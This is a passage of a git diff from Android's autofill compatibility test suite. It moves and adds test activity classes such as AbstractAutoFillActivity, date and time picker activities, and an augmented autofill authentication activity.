@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.PendingIntent;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.os.Bundle;
-import android.support.test.uiautomator.UiObject2;
-import android.text.TextUtils;
-import android.util.Log;
-import android.widget.TextView;
-
-import androidx.annotation.Nullable;
-
-/**
- * Activity that displays a "Welcome USER" message after login.
- */
-public class WelcomeActivity extends AbstractAutoFillActivity {
-
-    private static WelcomeActivity sInstance;
-
-    private static final String TAG = "WelcomeActivity";
-
-    static final String EXTRA_MESSAGE = "message";
-    static final String ID_WELCOME = "welcome";
-
-    private static int sPendingIntentId;
-    private static PendingIntent sPendingIntent;
-
-    private TextView mWelcome;
-
-    public WelcomeActivity() {
-        sInstance = this;
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        setContentView(R.layout.welcome_activity);
-
-        mWelcome = (TextView) findViewById(R.id.welcome);
-
-        final Intent intent = getIntent();
-        final String message = intent.getStringExtra(EXTRA_MESSAGE);
-
-        if (!TextUtils.isEmpty(message)) {
-            mWelcome.setText(message);
-        }
-
-        Log.d(TAG, "Message: " + message);
-    }
-
-    @Override
-    protected void onDestroy() {
-        super.onDestroy();
-
-        Log.v(TAG, "Setting sInstance to null onDestroy()");
-        sInstance = null;
-    }
-
-    @Override
-    public void finish() {
-        super.finish();
-        Log.d(TAG, "So long and thanks for all the finish!");
-
-        if (sPendingIntent != null) {
-            Log.v(TAG, " canceling pending intent on finish(): " + sPendingIntent);
-            sPendingIntent.cancel();
-        }
-    }
-
-    static void finishIt() {
-        if (sInstance != null) {
-            sInstance.finish();
-        }
-    }
-
-    // TODO: reuse in other places
-    static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
-        assertShowing(uiBot, null);
-    }
-
-    // TODO: reuse in other places
-    static void assertShowing(UiBot uiBot, @Nullable String expectedMessage) throws Exception {
-        final UiObject2 activity = uiBot.assertShownByRelativeId(ID_WELCOME);
-        if (expectedMessage == null) {
-            expectedMessage = "Welcome to the jungle!";
-        }
-        assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
-                .isEqualTo(expectedMessage);
-    }
-
-    public static IntentSender createSender(Context context, String message) {
-        if (sPendingIntent != null) {
-            throw new IllegalArgumentException("Already have pending intent (id="
-                    + sPendingIntentId + "): " + sPendingIntent);
-        }
-        ++sPendingIntentId;
-        Log.v(TAG, "createSender: id=" + sPendingIntentId + " message=" + message);
-        final Intent intent = new Intent(context, WelcomeActivity.class)
-                .putExtra(EXTRA_MESSAGE, message)
-                .setFlags(Intent.FLAG_ACTIVITY_NO_HISTORY);
-        sPendingIntent = PendingIntent.getActivity(context, sPendingIntentId, intent, 0);
-        return sPendingIntent.getIntentSender();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
deleted file mode 100644
index 1225a47..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import androidx.annotation.NonNull;
-
-import com.android.compatibility.common.util.RetryableException;
-
-public final class WindowChangeTimeoutException extends RetryableException {
-
-    public WindowChangeTimeoutException(@NonNull Throwable cause, long timeoutMillis) {
-        super(cause, "no window change event in %dms", timeoutMillis);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java
new file mode 100644
index 0000000..70e04b7
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractAutoFillActivity.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.autofillservice.cts.testcore.AutofillTestWatcher;
+import android.autofillservice.cts.testcore.MyAutofillCallback;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.graphics.Bitmap;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.view.PixelCopy;
+import android.view.View;
+import android.view.autofill.AutofillManager;
+
+import androidx.annotation.NonNull;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+import com.android.compatibility.common.util.Timeout;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+  * Base class for all activities in this test suite
+  */
+public abstract class AbstractAutoFillActivity extends Activity {
+
+    private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
+    protected final String mTag = getClass().getSimpleName();
+    private MyAutofillCallback mCallback;
+
+    /**
+     * Run an action in the UI thread, and blocks caller until the action is finished.
+     */
+    public final void syncRunOnUiThread(Runnable action) {
+        syncRunOnUiThread(action, Timeouts.UI_TIMEOUT.ms());
+    }
+
+    /**
+     * Run an action in the UI thread, and blocks caller until the action is finished or it times
+     * out.
+     */
+    public final void syncRunOnUiThread(Runnable action, long timeoutMs) {
+        final CountDownLatch latch = new CountDownLatch(1);
+        runOnUiThread(() -> {
+            action.run();
+            latch.countDown();
+        });
+        try {
+            if (!latch.await(timeoutMs, TimeUnit.MILLISECONDS)) {
+                throw new RetryableException("action on UI thread timed out after %d ms",
+                        timeoutMs);
+            }
+        } catch (InterruptedException e) {
+            Thread.currentThread().interrupt();
+            throw new RuntimeException("Interrupted", e);
+        }
+    }
+
+    public AutofillManager getAutofillManager() {
+        return getSystemService(AutofillManager.class);
+    }
+
+    /**
+     * Takes a screenshot from the whole activity.
+     *
+     * <p><b>Note:</b> this screenshot only contains the contents of the activity, it doesn't
+     * include the autofill UIs; if you need to check that, please use
+     * {@link UiBot#takeScreenshot()} instead.
+     */
+    public Bitmap takeScreenshot() {
+        return takeScreenshot(findViewById(android.R.id.content).getRootView());
+    }
+
+    /**
+     * Takes a screenshot from the a view.
+     */
+    public Bitmap takeScreenshot(View view) {
+        final Rect srcRect = new Rect();
+        syncRunOnUiThread(() -> view.getGlobalVisibleRect(srcRect));
+        final Bitmap dest = Bitmap.createBitmap(
+                srcRect.width(), srcRect.height(), Bitmap.Config.ARGB_8888);
+
+        final SynchronousPixelCopy copy = new SynchronousPixelCopy();
+        final int copyResult = copy.request(getWindow(), srcRect, dest);
+        assertThat(copyResult).isEqualTo(PixelCopy.SUCCESS);
+
+        return dest;
+    }
+
+    /**
+     * Registers and returns a custom callback for autofill events.
+     *
+     * <p>Note: caller doesn't need to call {@link #unregisterCallback()}, it will be automatically
+     * unregistered on {@link #finish()}.
+     */
+    public MyAutofillCallback registerCallback() {
+        assertWithMessage("already registered").that(mCallback).isNull();
+        mCallback = new MyAutofillCallback();
+        getAutofillManager().registerCallback(mCallback);
+        return mCallback;
+    }
+
+    /**
+     * Unregister the callback from the {@link AutofillManager}.
+     *
+     * <p>This method just neeed to be called when a test case wants to explicitly test the behavior
+     * of the activity when the callback is unregistered.
+     */
+    public void unregisterCallback() {
+        assertWithMessage("not registered").that(mCallback).isNotNull();
+        unregisterNonNullCallback();
+    }
+
+    /**
+     * Waits until {@link #onDestroy()} is called.
+     */
+    public void waitUntilDestroyed(@NonNull Timeout timeout) throws InterruptedException {
+        if (!mDestroyedLatch.await(timeout.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(timeout, "activity %s not destroyed", this);
+        }
+    }
+
+    private void unregisterNonNullCallback() {
+        getAutofillManager().unregisterCallback(mCallback);
+        mCallback = null;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        AutofillTestWatcher.registerActivity("onCreate()", this);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+
+        // Activitiy is typically unregistered at finish(), but we need to unregister here too
+        // for the cases where it's destroyed due to a config change (like device rotation).
+        AutofillTestWatcher.unregisterActivity("onDestroy()", this);
+        mDestroyedLatch.countDown();
+    }
+
+    @Override
+    public void finish() {
+        finishOnly();
+        AutofillTestWatcher.unregisterActivity("finish()", this);
+    }
+
+    /**
+     * Finishes the activity, without unregistering it from {@link AutofillTestWatcher}.
+     */
+    public void finishOnly() {
+        if (mCallback != null) {
+            unregisterNonNullCallback();
+        }
+        super.finish();
+    }
+
+    /**
+     * Clears focus from input fields.
+     */
+    public void clearFocus() {
+        throw new UnsupportedOperationException("Not implemented by " + getClass());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractDatePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractDatePickerActivity.java
new file mode 100644
index 0000000..09a386d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractDatePickerActivity.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.MultipleTimesTextWatcher;
+import android.autofillservice.cts.testcore.OneTimeDateListener;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.DatePicker;
+import android.widget.EditText;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for an activity that has the following fields:
+ *
+ * <ul>
+ *   <li>A DatePicker (id: date_picker)
+ *   <li>An EditText that is filled with the DatePicker when it changes (id: output)
+ *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
+ * </ul>
+ *
+ * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
+ * UI types (like calendar and spinner).
+ */
+public abstract class AbstractDatePickerActivity extends AbstractAutoFillActivity {
+
+    private static final long OK_TIMEOUT_MS = 1000;
+
+    public static final String ID_DATE_PICKER = "date_picker";
+    public static final String ID_OUTPUT = "output";
+
+    private DatePicker mDatePicker;
+    private EditText mOutput;
+    private Button mOk;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mOkLatch;
+
+    protected abstract int getContentView();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mDatePicker = (DatePicker) findViewById(R.id.date_picker);
+
+        mDatePicker.setOnDateChangedListener((v, y, m, d) -> updateOutputWithDate(y, m, d));
+
+        mOutput = (EditText) findViewById(R.id.output);
+        mOk = (Button) findViewById(R.id.ok);
+        mOk.setOnClickListener((v) -> ok());
+    }
+
+    public DatePicker getDatePicker() {
+        return mDatePicker;
+    }
+
+    private void updateOutputWithDate(int year, int month, int day) {
+        final String date = year + "/" + month + "/" + day;
+        mOutput.setText(date);
+    }
+
+    private void ok() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "Good news everyone! The world didn't end!");
+        startActivity(intent);
+        if (mOkLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mOkLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String output, int year, int month, int day) {
+        mExpectation = new FillExpectation(output, year, month, day);
+        mOutput.addTextChangedListener(mExpectation.outputWatcher);
+        mDatePicker.setOnDateChangedListener((v, y, m, d) -> {
+            updateOutputWithDate(y, m, d);
+            mExpectation.dateListener.onDateChanged(v, y, m, d);
+        });
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int, int)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.outputWatcher.assertAutoFilled();
+        mExpectation.dateListener.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code output} in the UiThread.
+     */
+    public void onOutput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mOutput));
+    }
+
+    /**
+     * Sets the date in the {@link DatePicker}.
+     */
+    public void setDate(int year, int month, int day) {
+        syncRunOnUiThread(() -> mDatePicker.updateDate(year, month, day));
+    }
+
+    /**
+     * Taps the ok button in the UI thread.
+     */
+    public void tapOk() throws Exception {
+        mOkLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mOk.performClick());
+        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final MultipleTimesTextWatcher outputWatcher;
+        private final OneTimeDateListener dateListener;
+
+        private FillExpectation(String output, int year, int month, int day) {
+            // Output is called twice: by the DateChangeListener and by auto-fill.
+            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
+            dateListener = new OneTimeDateListener("datePicker", mDatePicker, year, month, day);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractTimePickerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractTimePickerActivity.java
new file mode 100644
index 0000000..7b2e8e2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractTimePickerActivity.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.MultipleTimesTextWatcher;
+import android.autofillservice.cts.testcore.MultipleTimesTimeListener;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TimePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for an activity that has the following fields:
+ *
+ * <ul>
+ *   <li>A TimePicker (id: date_picker)
+ *   <li>An EditText that is filled with the TimePicker when it changes (id: output)
+ *   <li>An OK button that finishes it and navigates to the {@link WelcomeActivity}
+ * </ul>
+ *
+ * <p>It's abstract because the sub-class must provide the view id, so it can support multiple
+ * UI types (like clock and spinner).
+ */
+public abstract class AbstractTimePickerActivity extends AbstractAutoFillActivity {
+
+    private static final long OK_TIMEOUT_MS = 1000;
+
+    public static final String ID_TIME_PICKER = "time_picker";
+    public static final String ID_OUTPUT = "output";
+
+    private TimePicker mTimePicker;
+    private EditText mOutput;
+    private Button mOk;
+
+    private FillExpectation mExpectation;
+    private CountDownLatch mOkLatch;
+
+    protected abstract int getContentView();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mTimePicker = (TimePicker) findViewById(R.id.time_picker);
+
+        mTimePicker.setOnTimeChangedListener((v, m, h) -> updateOutputWithTime(m, h));
+
+        mOutput = (EditText) findViewById(R.id.output);
+        mOk = (Button) findViewById(R.id.ok);
+        mOk.setOnClickListener((v) -> ok());
+    }
+
+    private void updateOutputWithTime(int hour, int minute) {
+        final String time = hour + ":" + minute;
+        mOutput.setText(time);
+    }
+
+    private void ok() {
+        final Intent intent = new Intent(this, WelcomeActivity.class);
+        intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, "It's Adventure Time!");
+        startActivity(intent);
+        if (mOkLatch != null) {
+            // Latch is not set when activity launched outside tests
+            mOkLatch.countDown();
+        }
+        finish();
+    }
+
+    /**
+     * Sets the expectation for an auto-fill request, so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    public void expectAutoFill(String output, int hour, int minute) {
+        mExpectation = new FillExpectation(output, hour, minute);
+        mOutput.addTextChangedListener(mExpectation.outputWatcher);
+        mTimePicker.setOnTimeChangedListener((v, h, m) -> {
+            updateOutputWithTime(h, m);
+            mExpectation.timeListener.onTimeChanged(v, h, m);
+        });
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, int, int)}.
+     */
+    public void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.timeListener.assertAutoFilled();
+        mExpectation.outputWatcher.assertAutoFilled();
+    }
+
+    /**
+     * Visits the {@code output} in the UiThread.
+     */
+    public void onOutput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mOutput));
+    }
+
+    /**
+     * Sets the time in the {@link TimePicker}.
+     */
+    public void setTime(int hour, int minute) {
+        syncRunOnUiThread(() -> {
+            mTimePicker.setHour(hour);
+            mTimePicker.setMinute(minute);
+        });
+    }
+
+    /**
+     * Taps the ok button in the UI thread.
+     */
+    public void tapOk() throws Exception {
+        mOkLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mOk.performClick());
+        boolean called = mOkLatch.await(OK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for OK action", OK_TIMEOUT_MS)
+                .that(called).isTrue();
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final MultipleTimesTextWatcher outputWatcher;
+        private final MultipleTimesTimeListener timeListener;
+
+        private FillExpectation(String output, int hour, int minute) {
+            // Output is called twice: by the TimeChangeListener and by auto-fill.
+            outputWatcher = new MultipleTimesTextWatcher("output", 2, mOutput, output);
+            timeListener = new MultipleTimesTimeListener("timePicker", 1, mTimePicker, hour,
+                    minute);
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractWebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractWebViewActivity.java
new file mode 100644
index 0000000..a6b5938
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AbstractWebViewActivity.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.testcore.UiBot;
+import android.os.SystemClock;
+import android.support.test.uiautomator.UiObject2;
+import android.view.KeyEvent;
+import android.widget.EditText;
+
+public abstract class AbstractWebViewActivity extends AbstractAutoFillActivity {
+
+    public static final String FAKE_DOMAIN = "y.u.no.real.server";
+
+    public static final String HTML_NAME_USERNAME = "username";
+    public static final String HTML_NAME_PASSWORD = "password";
+
+    protected MyWebView mWebView;
+
+    protected UiObject2 getInput(UiBot uiBot, UiObject2 label) throws Exception {
+        // Then the input is next.
+        final UiObject2 parent = label.getParent();
+        UiObject2 previous = null;
+        for (UiObject2 child : parent.getChildren()) {
+            if (label.equals(previous)) {
+                if (child.getClassName().equals(EditText.class.getName())) {
+                    return child;
+                }
+                uiBot.dumpScreen("getInput() for " + child + "failed");
+                throw new IllegalStateException("Invalid class for " + child);
+            }
+            previous = child;
+        }
+        uiBot.dumpScreen("getInput() for label " + label + "failed");
+        throw new IllegalStateException("could not find username (label=" + label + ")");
+    }
+
+    public void dispatchKeyPress(int keyCode) {
+        runOnUiThread(() -> {
+            KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, keyCode);
+            mWebView.dispatchKeyEvent(keyEvent);
+            keyEvent = new KeyEvent(KeyEvent.ACTION_UP, keyCode);
+            mWebView.dispatchKeyEvent(keyEvent);
+        });
+        // wait webview to process the key event.
+        SystemClock.sleep(300);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AttachedContextActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AttachedContextActivity.java
new file mode 100644
index 0000000..47da817
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AttachedContextActivity.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.content.Context;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.widget.EditText;
+
+import java.util.Locale;
+
+/**
+ * Simple activity that attaches a new base context.
+ */
+public class AttachedContextActivity extends AbstractAutoFillActivity {
+    public static final String ID_INPUT = "input";
+
+    public EditText mInput;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.simple_save_activity);
+
+        mInput = findViewById(R.id.input);
+    }
+
+    @Override
+    protected void attachBaseContext(Context newBase) {
+        final Context localContext = applyLocale(newBase, "en");
+        super.attachBaseContext(localContext);
+    }
+
+    private Context applyLocale(Context context, String language) {
+        final Resources resources = context.getResources();
+        final Configuration configuration = resources.getConfiguration();
+        configuration.setLocale(new Locale(language));
+        return context.createConfigurationContext(configuration);
+    }
+
+    public FillExpectation expectAutoFill(String input) {
+        final FillExpectation expectation = new FillExpectation(input);
+        mInput.addTextChangedListener(expectation.mInputWatcher);
+        return expectation;
+    }
+
+    public final class FillExpectation {
+        private final OneTimeTextWatcher mInputWatcher;
+
+        private FillExpectation(String input) {
+            mInputWatcher = new OneTimeTextWatcher("input", mInput, input);
+        }
+
+        public void assertAutoFilled() throws Exception {
+            mInputWatcher.assertAutoFilled();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedAuthActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedAuthActivity.java
new file mode 100644
index 0000000..6c6dafe
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedAuthActivity.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.PendingIntent;
+import android.autofillservice.cts.R;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Activity for testing Augmented Autofill authentication flow. This activity shows a simple UI;
+ * when the UI is tapped, it returns whatever data was configured via the auth intent.
+ */
+public class AugmentedAuthActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "AugmentedAuthActivity";
+
+    public static final String ID_AUTH_ACTIVITY_BUTTON = "button";
+
+    private static final String EXTRA_DATASET_TO_RETURN = "dataset_to_return";
+    private static final String EXTRA_CLIENT_STATE_TO_RETURN = "client_state_to_return";
+    private static final String EXTRA_RESULT_CODE_TO_RETURN = "result_code_to_return";
+
+    private static final List<PendingIntent> sPendingIntents = new ArrayList<>(1);
+
+    public static void resetStaticState() {
+        for (PendingIntent pendingIntent : sPendingIntents) {
+            pendingIntent.cancel();
+        }
+        sPendingIntents.clear();
+    }
+
+    public static IntentSender createSender(Context context, int requestCode,
+            Dataset datasetToReturn, Bundle clientStateToReturn, int resultCodeToReturn) {
+        Intent intent = new Intent(context, AugmentedAuthActivity.class);
+        intent.putExtra(EXTRA_DATASET_TO_RETURN, datasetToReturn);
+        intent.putExtra(EXTRA_CLIENT_STATE_TO_RETURN, clientStateToReturn);
+        intent.putExtra(EXTRA_RESULT_CODE_TO_RETURN, resultCodeToReturn);
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, requestCode, intent,
+                PendingIntent.FLAG_IMMUTABLE);
+        sPendingIntents.add(pendingIntent);
+        return pendingIntent.getIntentSender();
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Log.d(TAG, "Auth activity invoked, showing auth UI");
+        setContentView(R.layout.single_button_activity);
+        findViewById(R.id.button).setOnClickListener((v) -> {
+            Log.d(TAG, "Auth UI tapped, returning result");
+
+            Intent intent = getIntent();
+            Dataset dataset = intent.getParcelableExtra(EXTRA_DATASET_TO_RETURN);
+            Bundle clientState = intent.getParcelableExtra(EXTRA_CLIENT_STATE_TO_RETURN);
+            int resultCode = intent.getIntExtra(EXTRA_RESULT_CODE_TO_RETURN, RESULT_OK);
+            Log.d(TAG, "Output: dataset=" + dataset + ", clientState=" + clientState
+                    + ", resultCode=" + resultCode);
+
+            Intent result = new Intent();
+            result.putExtra(AutofillManager.EXTRA_AUTHENTICATION_RESULT, dataset);
+            result.putExtra(AutofillManager.EXTRA_CLIENT_STATE, clientState);
+            setResult(resultCode, result);
+
+            finish();
+        });
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedLoginActivity.java
new file mode 100644
index 0000000..422ff81
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AugmentedLoginActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+// Currently it's same as LoginActivity, except that it allows rotation.
+public class AugmentedLoginActivity extends LoginActivity {
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/AuthenticationActivity.java
new file mode 100644
index 0000000..199e1b1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/AuthenticationActivity.java
@@ -0,0 +1,328 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
